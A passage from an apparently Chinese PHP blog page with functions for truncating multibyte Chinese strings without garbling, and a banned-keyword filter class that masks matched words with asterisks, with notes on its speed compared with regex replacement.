} else
   $tmpstr .= substr($str, $i, 1);
}
return $tmpstr;
}
function mystrlen($str){
$step=is_utf8($str)?2:1;
$strlen = $mystrlen=strlen($str);
for($i = 0; $i < $strlen; $i++) {
   if(ord(substr($str, $i, 1)) > 0xa0) {
    $mystrlen-=$step;
    $i+=$step;
   }
}
return $mystrlen;
}

function is_utf8($string) {
  
   // From http://w3.org/International/questions/qa-forms-utf-8.html
   return preg_match(‘%^(?:
         [\x09\x0A\x0D\x20-\x7E]            # ASCII
       | [\xC2-\xDF][\x80-\xBF]            # non-overlong 2-byte
       | \xE0[\xA0-\xBF][\x80-\xBF]        # excluding overlongs
       | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2} # straight 3-byte
       | \xED[\x80-\x9F][\x80-\xBF]        # excluding surrogates
       | \xF0[\x90-\xBF][\x80-\xBF]{2}    # planes 1-3
       | [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
       | \xF4[\x80-\x8F][\x80-\xBF]{2}    # plane 16
   )*$%xs’, $string);
  
}

/* vim: set expandtab: */
?>

php截取字符串乱码问题

substr()

或smarty的truncate都有截取中文时乱码现象!

如是有人自己写了下!

function truncate($haystack,$integer,$str=’…’,$bool=true){
if(mystrlen($haystack)>$integer+1){
   return mysubstr($haystack, 0, $integer).$str;
}
else {
   return $haystack;
}

}
function mysubstr($str, $start, $len) {
$tmpstr = “”;
$strlen = $start + $len;
for($i = 0; $i < $strlen; $i++) {
if(ord(substr($str, $i, 1)) > 0xa0) {
   $tmpstr .= substr($str, $i, 2);
   $i++;
   $strlen++;
} else
   $tmpstr .= substr($str, $i, 1);
}
return $tmpstr;
}
function mystrlen($str){
$strlen = $mystrlen=strlen($str);
for($i = 0; $i < $strlen; $i++) {
   if(ord(substr($str, $i, 1)) > 0xa0) {
    $mystrlen–;
    $i++;
   }
}
return $mystrlen;
}

乱码的原因只是php在统计字符串长度时是按字节来的.截取也是按字节来的!

GBK编码汉字是二个字节,UTF-8是3个字节.英文是1 个字节.

那么我们截取字符串时保证是截取长度是6的倍数就可以了.

这样不管是用substr().还是truncate()都没有问题了!有必要搞的那么复杂么!!!!

其实mb_substr()就是用了类似的原理!

php 关键字过滤

    /**
    class.fillter.php
     过滤器,按关键字过滤
    刘顺平()
    www.tom.com 2004-2008
2009-6-9
    */
class fillter{
   private $keyword_file;
   private $dict;
   public $result;

   public function __construct($file){
    if(!is_file($file)){
     trigger_error(“$file not exists!”);
    }
    $this->keyword_file=$file;
   }

   public function fill($resource){
    $this->dict = $this->getDict();
    $len = strlen($resource);
    for($i=0; $i<$len; ++$i){
     $key=substr($resource,$i,2);
     if(array_key_exists($key,$this->dict)){
      $this->deal(substr($resource,$i,$this->dict[$key][‘max’]),$key,$af);
      $i+=$af;
     }
     else{
      $this->result .=substr($resource,$i,1);
     }
    }
    return $this->result;
   }

   /*
   **匹配到了关键字时的处理
   **$res 源字符串
   **$keywords 关键字数组
   */
   public function deal($res,$key,&$af){
    $af=0;
    foreach($this->dict[$key][‘list’] as $keyword){
     if(strpos($res,$keyword) !==false){
      $len=strlen($keyword);
      $af=$len-1;
      $this->result .=str_repeat(“*”,$len);
      return;
     }
    }
     $this->result .= substr($res,0,1);
   }

   /*
   **获取关键字列表
   */
   private function getKeyWordList(){
    $keywords = file_get_contents($this->keyword_file);
    return array_unique(explode(“\r\n”,$keywords));
   }

   public function getDict(){
    $keywords=$this->getKeyWordList();
    $dict=array();
    foreach($keywords as $keyword){
     if(empty($keyword)){
      continue;
     }
     $key = substr($keyword,0,2);

     $dict[$key][‘list’][]=$keyword;
     $dict[$key][‘max’]=max($dict[$key][‘max’],strlen($keyword));
    }
    return $dict;
   }

}
//测试用demo 结果比直接用正则提高了3倍效率
$res = $text = file_get_contents(“test.txt”);
$t1 = microtime(true);

$fil = new fillter(“banwords.txt”);
$res = $fil->fill($text);
//$res = $fil->getDict();
//$keywords = explode(“\r\n”,file_get_contents(“banwords.txt”));
//foreach($keywords as $keyword){
// if(empty($keyword)){
//   continue;
// }
// $res = preg_replace(“/$keyword/”,”***”,$res);
//}
$t2 = microtime(true);
echo $t2-$t1;
echo $text,”
“;
echo “

";
print_r( $res);
echo "

“;
?>

效率并不高!相对于正则来说倒是高了不少!文字越大,优势越大!

1740条关键字。每秒处理50K字符!应该还有可以优化的地方!php的数组功能虽强大,但是似乎效率不怎么样啊。。